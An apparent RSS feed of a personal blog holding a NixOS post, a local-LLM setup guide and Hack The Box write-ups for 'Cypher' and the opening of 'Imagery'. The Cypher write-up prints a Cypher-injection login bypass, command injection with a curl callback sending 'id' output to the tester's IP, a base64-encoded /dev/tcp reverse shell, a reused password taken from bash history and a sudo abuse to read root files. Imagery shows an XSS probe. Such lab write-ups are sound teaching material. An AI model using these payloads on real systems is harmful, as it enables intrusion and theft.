&lt;p&gt;The configuration of NixOS is done in a file called &lt;code&gt;configuration.nix&lt;/code&gt;. This file is a Nix expression that describes the system configuration. It is a declarative description of the system, which means that it describes what the system should look like, not how to get there. This makes it easy to reproduce the configuration on another machine, since all we have to do is copy the configuration file and run &lt;code&gt;nixos-rebuild switch&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So we don&apos;t have to mess around with installing the right packages. If we declare that we want a package installed, Nix will make sure that it is installed. If we declare that we want a service running, Nix will make sure that it is running. This makes it very easy to keep the configuration up to date. As long as there exists a package for it, we can install it. Luckily NixOS has the largest package repository of all Linux distributions, and has great support from the NixOS community.&lt;/p&gt;
&lt;h2&gt;My Configuration&lt;/h2&gt;
&lt;p&gt;I have my configuration on &lt;a href=&quot;https://github.com/WillemMe/Nixos&quot;&gt;GitHub&lt;/a&gt;. It is set up using Nix flakes, with the &lt;code&gt;flake.nix&lt;/code&gt; file as the entry point. For every host I have a separate host folder with &lt;code&gt;hardware-configuration.nix&lt;/code&gt; and &lt;code&gt;user-configuration.nix&lt;/code&gt;. The &lt;code&gt;hardware-configuration.nix&lt;/code&gt; file describes the hardware of the machine, like the partitions and the boot loader. The &lt;code&gt;user-configuration.nix&lt;/code&gt; describes special packages just for that machine. I for example don&apos;t need Steam on my work machine, but I do on my gaming machine.&lt;/p&gt;
&lt;p&gt;Every host also has a &lt;code&gt;user.nix&lt;/code&gt; where I enable different &quot;modules&quot; that I want to use. These modules are collections of configurations for a special program or service. For example I have a &lt;code&gt;hacking&lt;/code&gt; module that installs all the tools that I might need for a hacking session. The beauty of this is that I can just disable the module and rebuild and all the packages are gone. No need to uninstall them manually.&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;WillemMe/Nixos&quot;}&lt;/p&gt;
&lt;h2&gt;Nix Shell&lt;/h2&gt;
&lt;p&gt;Nix shell is a tool that allows you to create an isolated environment for a project. It is similar to virtualenv in Python, or to npm in JavaScript. It allows you to install packages in a project-specific environment, without affecting the rest of the system. This is very useful when you are working on a project that has specific dependencies, or when you want to test a package without installing it system-wide. For example for a CTF you might want to try a specific tool like &lt;code&gt;john&lt;/code&gt; but you don&apos;t want to install it system-wide or keep it after the CTF. Then we can just run &lt;code&gt;nix-shell -p john&lt;/code&gt; and we have the tool available in the new shell. When we exit the shell the tool is gone (after a garbage collection).&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;NixOS might be a bit daunting at first, but once you get the hang of it, it is a very powerful tool. You never have to worry about keeping your system up to date or not having the right packages installed. Just having the &lt;code&gt;nix-shell&lt;/code&gt; alone is for me already worth it. I can just spin up a new shell with the right packages in it. I would recommend everyone to at least try out the package manager on their current system. And you might find yourself switching to NixOS in the future.&lt;/p&gt;
</content:encoded><author>Dorp</author></item><item><title>Running LLMs locally</title><link>https://dorp.me/posts/local-llm</link><guid isPermaLink="true">https://dorp.me/posts/local-llm</guid><description>Running LLMs locally with Ollama and Open Web UI</description><pubDate>Wed, 29 Jan 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Why would you want to do this?&lt;/h2&gt;
&lt;p&gt;LLMs (Large Language Models) are all the buzz at the moment. They are a great companion and tool for developers, researchers, and data scientists. Everyone knows about ChatGPT, most likely your grandma as well.
It is a great tool, fast and easy to use, but it is not &quot;free&quot;. All your data might be used to train the model. If you are working with sensitive data this is less than ideal. DeepSeek R1 was just released, and is an awesome alternative to ChatGPT, however it stores your data in China, which is not ideal for everyone. Luckily for us DeepSeek R1 and many other models are &quot;open source&quot; and can be run locally. This is a blog on how to run LLMs locally. All you need is Docker and a beefy GPU with at least 8GB of VRAM.&lt;/p&gt;
&lt;h2&gt;Ollama&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ollama.com/&quot;&gt;Ollama&lt;/a&gt; is a great utility to run and swap between models. Initially it was made for &lt;code&gt;llama&lt;/code&gt;, the LLM from Meta, but it has been expanded to support many other models. &lt;code&gt;ollama&lt;/code&gt; can be seen as the &lt;code&gt;docker&lt;/code&gt; for LLMs. It can fetch any model from the internet and run it locally, swapping it into memory when needed, without you having to think about all the details.&lt;/p&gt;
&lt;p&gt;You can use &lt;code&gt;ollama&lt;/code&gt; as is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ollama run deepseek-r1:1.5b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will fetch the 1.5 billion parameter &lt;code&gt;deepseek-r1&lt;/code&gt; model and run it needing at least 1.1GB of VRAM.
After the model is fetched you are greeted with a prompt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; Send a message (/? for help)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or you can run &lt;code&gt;ollama&lt;/code&gt; in a docker container, by first starting the &lt;code&gt;ollama&lt;/code&gt; container:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d --gpus=all -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;You might need &lt;code&gt;--device nvidia.com/gpu=all&lt;/code&gt; instead of &lt;code&gt;--gpus=all&lt;/code&gt; depending on your setup.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;And then running the &lt;code&gt;ollama&lt;/code&gt; command in the container:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker exec -it ollama ollama run deepseek-r1:1.5b
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Running &lt;code&gt;ollama&lt;/code&gt; like this is great, but not very user-friendly or practical. To give it more of a ChatGPT-like experience we can use the &lt;a href=&quot;https://github.com/open-webui/open-webui&quot;&gt;Open Web UI&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;open-webui/open-webui&quot;}&lt;/p&gt;
&lt;h2&gt;Open Web UI&lt;/h2&gt;
&lt;p&gt;Open Web UI is a feature-rich and user-friendly web interface for running LLMs. It works similar to ChatGPT but then on your local machine. It is just a front-end, so you can use different back-ends like &lt;code&gt;ollama&lt;/code&gt; or external APIs. The easiest way to run it is with Docker:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d -p 3000:8080 --gpus all --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:cuda
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;You might need &lt;code&gt;--device nvidia.com/gpu=all&lt;/code&gt; instead of &lt;code&gt;--gpus=all&lt;/code&gt; depending on your setup.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;After running the command you can go to &lt;code&gt;http://localhost:3000&lt;/code&gt; in your browser and you will be greeted with the Open Web UI. You can now run any model you want, and it will be run locally on your machine.&lt;/p&gt;
&lt;p&gt;In the top left you can select your model:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./choose-model.png&quot; alt=&quot;Open Web UI model selector dropdown in the top left&quot; title=&quot;Selecting a model&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If you don&apos;t have the model you can type the correct Ollama tag in the search bar and you can directly fetch it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./choose-model-2.png&quot; alt=&quot;Open Web UI model search offering to pull a model from Ollama&quot; title=&quot;Pulling a new model by its Ollama tag&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we can start to chat:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./chat.png&quot; alt=&quot;deepseek-r1:1.5b solving a quadratic equation step by step in Open Web UI&quot; title=&quot;deepseek-r1:1.5b solving a quadratic equation&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Because it is just a 1.5b model the output is blazing fast. Even more wonderful is that it is correct as well. This is a great way to play around with LLM&apos;s without having to worry about any cloud services.&lt;/p&gt;
&lt;h2&gt;Docker compose file&lt;/h2&gt;
&lt;p&gt;To make it even easier to run &lt;code&gt;ollama&lt;/code&gt; and &lt;code&gt;Open Web UI&lt;/code&gt; you can use the following &lt;code&gt;docker-compose.yml&lt;/code&gt; file, this starts and links both services with just a simple &lt;code&gt;docker compose up&lt;/code&gt; command.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# services section to define individual services
services:
  open-webui:
    # Name of the image to use
    image: ghcr.io/open-webui/open-webui:cuda
    
    # Container name (based on the image name)
    container_name: open-webui
    
    # Expose ports from the container
    ports:
      - &quot;80:8080&quot;
    
    # Environment variables to set in the container
    environment:
      - ADD_HOST=host.docker.internal:host-gateway
      - OLLAMA_BASE_URL=http://ollama:11434
    
    # Volumes to mount between the host and the container
    volumes:
      - open-webui:/app/backend/data
    
    # Healthcheck configuration to ensure the service is running correctly
    healthcheck:
      test: [&quot;CMD&quot;, &quot;curl&quot;, &quot;-f&quot;, &quot;http://localhost:8080&quot;]
      interval: 10s
      timeout: 5s
      retries: 3
      start_period: 40s
    
    # Flag to ensure the service restarts always
    restart: unless-stopped
    
    # GPU configuration using CDI
    deploy:
      resources:
        reservations:
          devices:
            - driver: cdi
              device_ids:
                - nvidia.com/gpu=all
              capabilities: [gpu]

  ollama:
    # Name of the image to use
    image: ollama/ollama
    
    # Container name (based on the image name)
    container_name: ollama
    
    # Expose ports from the container
    ports:
      - &quot;11434:11434&quot;
    
    # Volumes to mount between the host and the container
    volumes:
      - ollama:/root/.ollama
    
    # Healthcheck configuration to ensure the service is running correctly
    healthcheck:
      test: [&quot;CMD&quot;, &quot;curl&quot;, &quot;-f&quot;, &quot;http://localhost:11434&quot;]
      interval: 10s
      timeout: 5s
      retries: 3
      start_period: 40s
    
    # Flag to ensure the service restarts always
    restart: unless-stopped
    
    # GPU configuration using CDI
    deploy:
      resources:
        reservations:
          devices:
            - driver: cdi
              device_ids:
                - nvidia.com/gpu=all
              capabilities: [gpu]

# Volumes declaration
volumes:
  ollama:
  open-webui:

# Default network declaration for containers to communicate
networks:
  default:
    driver: bridge
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Things to try in the future&lt;/h2&gt;
&lt;p&gt;Now that we can run our &quot;own&quot; LLMs we can try and adapt it to different use cases or needs. WebUI has many features such as pipelines, tools and standard prompts which we could set up for different tasks.&lt;/p&gt;
&lt;p&gt;Although more advanced we could also explore further training/finetuning of a model on specific data and then play around to see how it behaves.&lt;/p&gt;
</content:encoded><author>Dorp</author></item><item><title>Writeup: Cypher</title><link>https://dorp.me/posts/cypher</link><guid isPermaLink="true">https://dorp.me/posts/cypher</guid><description>A writeup for Cypher machine.</description><pubDate>Fri, 02 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Cypher is a medium linux box.&lt;/p&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;p&gt;Lets start with some initial recon&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -sC cypher.htb
Starting Nmap 7.93 ( https://nmap.org ) at 2025-05-01 15:14 CEST
Nmap scan report for cypher.htb (10.10.11.57)
Host is up (0.013s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be68db828e6332455446b7087b3b52b0 (ECDSA)
|_  256 e55b34f5544393f87eb6694cacd63d23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: GRAPH ASM
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.14 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We don&apos;t find many interesting surfaces just a webserver and ssh server.&lt;/p&gt;
&lt;p&gt;When we visit the webserver we a greeted with a graph based company website.
Which has a demo to requires login. Lets do some more enumeration on the
webserver and see if we can find any interesting directories or files.&lt;/p&gt;
&lt;h2&gt;Enum&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;gobuster dir -u &quot;http://cypher.htb&quot; -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cypher.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2025/05/01 15:17:16 Starting gobuster in directory enumeration mode
===============================================================
/index                (Status: 200) [Size: 4562]
/about                (Status: 200) [Size: 4986]
/login                (Status: 200) [Size: 3671]
/demo                 (Status: 307) [Size: 0] [--&amp;gt; /login]
/api                  (Status: 307) [Size: 0] [--&amp;gt; /api/docs]
/testing              (Status: 301) [Size: 178] [--&amp;gt; http://cypher.htb/testing/]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Testing seems like a good place to start.&lt;/p&gt;
&lt;p&gt;In testing we find &lt;code&gt;custom-apoc-extension-1.0-SNAPSHOT.jar&lt;/code&gt; Does not directly
provide any useful information. It appears to be a custom APOC extension for
Neo4j, but the code does not directly seem to contain too many intersting
things:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package com.cypher.neo4j.apoc;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.Arrays;
import java.util.concurrent.TimeUnit;
import java.util.stream.Stream;
import org.neo4j.procedure.Description;
import org.neo4j.procedure.Mode;
import org.neo4j.procedure.Name;
import org.neo4j.procedure.Procedure;

public class CustomFunctions {
  @Procedure(name = &quot;custom.getUrlStatusCode&quot;, mode = Mode.READ)
  @Description(&quot;Returns the HTTP status code for the given URL as a string&quot;)
  public Stream&amp;lt;StringOutput&amp;gt; getUrlStatusCode(@Name(&quot;url&quot;) String url) throws Exception {
    if (!url.toLowerCase().startsWith(&quot;http://&quot;) &amp;amp;&amp;amp; !url.toLowerCase().startsWith(&quot;https://&quot;))
      url = &quot;https://&quot; + url; 
    String[] command = { &quot;/bin/sh&quot;, &quot;-c&quot;, &quot;curl -s -o /dev/null --connect-timeout 1 -w %{http_code} &quot; + url };
    System.out.println(&quot;Command: &quot; + Arrays.toString((Object[])command));
    Process process = Runtime.getRuntime().exec(command);
    BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
    BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
    StringBuilder errorOutput = new StringBuilder();
    String line;
    while ((line = errorReader.readLine()) != null)
      errorOutput.append(line).append(&quot;\n&quot;); 
    String statusCode = inputReader.readLine();
    System.out.println(&quot;Status code: &quot; + statusCode);
    boolean exited = process.waitFor(10L, TimeUnit.SECONDS);
    if (!exited) {
      process.destroyForcibly();
      statusCode = &quot;0&quot;;
      System.err.println(&quot;Process timed out after 10 seconds&quot;);
    } else {
      int exitCode = process.exitValue();
      if (exitCode != 0) {
        statusCode = &quot;0&quot;;
        System.err.println(&quot;Process exited with code &quot; + exitCode);
      } 
    } 
    if (errorOutput.length() &amp;gt; 0)
      System.err.println(&quot;Error output:\n&quot; + errorOutput.toString()); 
    return Stream.of(new StringOutput(statusCode));
  }
  
  public static class StringOutput {
    public String statusCode;
    
    public StringOutput(String statusCode) {
      this.statusCode = statusCode;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However the url concatnation is not sanatized before being executed. So we might
be able to get RCE from that.&lt;/p&gt;
&lt;h2&gt;Login&lt;/h2&gt;
&lt;p&gt;Lets try to login first to see what the app can do. If we insert a &apos; we get a
nice error&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):
  File &quot;/app/app.py&quot;, line 142, in verify_creds
    results = run_cypher(cypher)
  File &quot;/app/app.py&quot;, line 63, in run_cypher
    return [r.data() for r in session.run(cypher)]
  File &quot;/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py&quot;, line 314, in run
    self._auto_result._run(
  File &quot;/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py&quot;, line 221, in _run
    self._attach()
  File &quot;/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py&quot;, line 409, in _attach
    self._connection.fetch_message()
  File &quot;/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py&quot;, line 178, in inner
    func(*args, **kwargs)
  File &quot;/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py&quot;, line 860, in fetch_message
    res = self._process_message(tag, fields)
  File &quot;/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py&quot;, line 370, in _process_message
    response.on_failure(summary_metadata or {})
  File &quot;/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py&quot;, line 245, in on_failure
    raise Neo4jError.hydrate(**metadata)
neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 60 (offset: 59))
&quot;MATCH (u:USER) -[:SECRET]-&amp;gt; (h:SHA1) WHERE u.name = &apos;admin&apos;&apos; return h.value as hash&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It seem to do neo4j queries where we are able to inject something&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;neo4j.exceptions.ClientError: {code: Neo.ClientError.Statement.ExternalResourceFailed} {message: Invalid URL &apos;http://10.10.15.14/?version=5.24.1&amp;amp;name=Neo4j Kernel&amp;amp;edition=community&apos;: Illegal character in query at index 45: http://10.10.15.14/?version=5.24.1&amp;amp;name=Neo4j Kernel&amp;amp;edition=community ()}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The query seems to be vulnerable to injections.&lt;/p&gt;
&lt;h3&gt;Injectable query&lt;/h3&gt;
&lt;p&gt;The following query is being run.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;MATCH (u:USER) -[:SECRET]-&amp;gt; (h:SHA1) WHERE u.name = &apos;{input}&apos; return h.value as hash&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We somehow want this query to return a hash we control. For example we generate
the sha1 of &quot;password&quot;:&quot;5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8&quot; and use it as
the hash.&lt;/p&gt;
&lt;h3&gt;Exploit&lt;/h3&gt;
&lt;p&gt;As a username:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin&apos; or 1=1 return &apos;5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8&apos; as hash;//
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This should return our hash as the hash for the user &quot;admin&quot;. With this
&quot;username&quot; and password:password we can login.&lt;/p&gt;
&lt;h2&gt;Foothold&lt;/h2&gt;
&lt;p&gt;Now we see a intresting graph query environment. There are different queries
present, one however contains a functions that we have seen before:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MATCH (n:DNS_NAME) WHERE n.scope_distance = 0 CALL custom.getUrlStatusCode(n.data) YIELD statusCode RETURN n.data, statusCode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here it uses the &lt;code&gt;custom.getUrlStatusCode&lt;/code&gt; function which we know can be used to
execute arbitrary code.&lt;/p&gt;
&lt;p&gt;Let&apos;s try to get a call back to our machine.&lt;/p&gt;
&lt;p&gt;On our machine:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -m http.server 80
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;MATCH (n:DNS_NAME) WHERE n.scope_distance = 1 CALL custom.getUrlStatusCode(&quot;http://10.10.15.14 ; curl http://10.10.15.14/$(id)&quot;) YIELD statusCode RETURN n.data, statusCode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We get a call back to our machine with the id of the user running the query.&lt;/p&gt;
&lt;h2&gt;Reverse Shell&lt;/h2&gt;
&lt;p&gt;If we input &amp;amp; the query breaks, so we need to encode our payload. We can use
&lt;code&gt;base64&lt;/code&gt; to encode our payload and then decode it on the target machine. We can
also use &lt;code&gt;bash&lt;/code&gt; to execute our payload.&lt;/p&gt;
&lt;p&gt;On our machine:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvp 9000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Revshell with base64 encoding&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MATCH (n:DNS_NAME) WHERE n.scope_distance = 1 CALL custom.getUrlStatusCode(&quot;http://10.10.15.14/ ; echo &apos;L3Vzci9iaW4vc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTQvOTAwMCAwPiYx+JiAvZGV2L3RjcC8xMC4xMC4xNS4xNC85MDAwIDA+JjE=&apos; | base64 -d | bash &quot;) YIELD statusCode RETURN n.data, statusCode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we pop a shell!&lt;/p&gt;
&lt;p&gt;Lets upgrade it a bit with python&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We however are not the user yet but are &lt;code&gt;neo4j&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Our home is in &lt;code&gt;var/lib/neo4j&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;It contains a .bash_history file with the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;neo4j-admin dbms set-initial-password cU4btyib.20xtCMCXkBmerhK
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This password might be reused so lets try it with the main user. Which we can
find in &lt;code&gt;/etc/passwd&lt;/code&gt;. The user with uid 1000 is &lt;code&gt;graphasm&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We can change user to graphasm with password: cU4btyib.20xtCMCXkBmerhK&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;su graphasm
password: cU4btyib.20xtCMCXkBmerhK
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The password is correct!&lt;/p&gt;
&lt;p&gt;We can get the user flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graphasm@cypher:~$ cat user.txt 
4f0321e2faf40fef1deda785583983c1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To make it easier we login via ssh now to get a nice interactive shell.&lt;/p&gt;
&lt;h2&gt;Root&lt;/h2&gt;
&lt;p&gt;Lets first check what sudo permissions we have.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bbot is probably the way to go.&lt;/p&gt;
&lt;p&gt;It is a python script located at &lt;code&gt;/opt/pipx/venvs/bbot/bin/bbot&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == &apos;__main__&apos;:
    sys.argv[0] = re.sub(r&apos;(-script\.pyw|\.exe)?$&apos;, &apos;&apos;, sys.argv[0])
    sys.exit(main())
~
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bbot is a osint tools that can be used to gather information about a target. It
has several modules that can be used to gather different types of information.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graphasm@cypher:/tmp$ bbot -h
  ______  _____   ____ _______
 |  ___ \|  __ \ / __ \__   __|
 | |___) | |__) | |  | | | |
 |  ___ &amp;lt;|  __ &amp;lt;| |  | | | |
 | |___) | |__) | |__| | | |
 |______/|_____/ \____/  |_|
 BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

usage: bbot [-h] [-t TARGET [TARGET ...]] [-w WHITELIST [WHITELIST ...]] [-b BLACKLIST [BLACKLIST ...]]
            [--strict-scope] [-p [PRESET ...]] [-c [CONFIG ...]] [-lp] [-m MODULE [MODULE ...]] [-l] [-lmo]
            [-em MODULE [MODULE ...]] [-f FLAG [FLAG ...]] [-lf] [-rf FLAG [FLAG ...]] [-ef FLAG [FLAG ...]]
            [--allow-deadly] [-n SCAN_NAME] [-v] [-d] [-s] [--force] [-y] [--dry-run] [--current-preset]
            [--current-preset-full] [-o DIR] [-om MODULE [MODULE ...]] [--json] [--brief]
            [--event-types EVENT_TYPES [EVENT_TYPES ...]]
            [--no-deps | --force-deps | --retry-deps | --ignore-failed-deps | --install-all-deps] [--version]
            [-H CUSTOM_HEADERS [CUSTOM_HEADERS ...]] [--custom-yara-rules CUSTOM_YARA_RULES]

Bighuge BLS OSINT Tool

options:
  -h, --help            show this help message and exit

Target:
  -t TARGET [TARGET ...], --targets TARGET [TARGET ...]
                        Targets to seed the scan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It has the options to read a traget file. So lets just read to root flag. And
look into the debugging output to see the flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo bbot -t /root/root.txt -o /tmp/reader/ -d
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we see the flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Target: {&apos;seeds&apos;: [&apos;24baf57137b77142eba47e80d0dd5aab&apos;],
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The flag is &lt;code&gt;24baf57137b77142eba47e80d0dd5aab&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We still don&apos;t have a root shell. But that is left as an exercise for the
reader.&lt;/p&gt;
</content:encoded><author>Dorp</author></item><item><title>Writeup: Imagery</title><link>https://dorp.me/posts/imagery</link><guid isPermaLink="true">https://dorp.me/posts/imagery</guid><description>Write up going from enum to root</description><pubDate>Mon, 20 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This write-up covers the Hack The Box machine &lt;strong&gt;Imagery&lt;/strong&gt;, a Medium difficulty
Linux box revolving around a vulnerable image gallery web app. The main attack
vectors include web vulnerabilities like XSS and LFI leading to Remote Code
Execution (RCE), and a privilege escalation path via a custom backup utility
with cron job abuse. The blog explains enumeration, exploitation, and privilege
escalation while highlighting useful techniques and pitfalls.&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;Running a default nmap scan provided the following key results:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;λ | nmap -sV -sC 10.10.11.88 -o imagery.nmap                                      
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 15:26 EDT
Nmap scan report for 10.10.11.88
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The HTTP service on port 8000 hosts an &lt;strong&gt;Image Gallery&lt;/strong&gt; web app running on
Werkzeug with Python 3.12.7.&lt;/p&gt;
&lt;h2&gt;Initial Web Analysis: XSS and LFI&lt;/h2&gt;
&lt;p&gt;The entire webpage and routes seemed to be contained in the one file. As well as
the code for the admin backend. Here we see a code blog that displays reported
bugs. However interesting enough the bug details are note sanitized:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const reportCard = document.createElement(&apos;div&apos;); reportCard.className =
&apos;bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex
justify-between items-center&apos;; reportCard.innerHTML = `
&amp;lt;div&amp;gt;
  &amp;lt;p class=&quot;text-sm text-gray-500 mb-2&quot;&amp;gt;
    Report ID: ${DOMPurify.sanitize(report.id)}
  &amp;lt;/p&amp;gt;
  &amp;lt;p class=&quot;text-sm text-gray-500 mb-2&quot;&amp;gt;
    Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID:
    ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new
    Date(report.timestamp).toLocaleString()}
  &amp;lt;/p&amp;gt;
  &amp;lt;h3 class=&quot;text-xl font-semibold text-gray-800 mb-3&quot;&amp;gt;
    Bug Name: ${DOMPurify.sanitize(report.name)}
  &amp;lt;/h3&amp;gt;
  &amp;lt;h3 class=&quot;text-xl font-semibold text-gray-800 mb-3&quot;&amp;gt;Bug Details:&amp;lt;/h3&amp;gt;
  &amp;lt;div
    class=&quot;bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words&quot;
  &amp;gt;
    ${report.details}
  &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;button
  onclick=&quot;showDeleteBugReportConfirmation(&apos;${DOMPurify.sanitize(report.id)}&apos;)&quot;
  class=&quot;bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4&quot;
&amp;gt;
  Delete
&amp;lt;/button&amp;gt;
`; bugReportsList.appendChild(reportCard);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can test if report.details is actual vulnerable by first doing a simple
&lt;code&gt;img src&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;http://10.10.14.162/test.png&quot;&amp;gt;
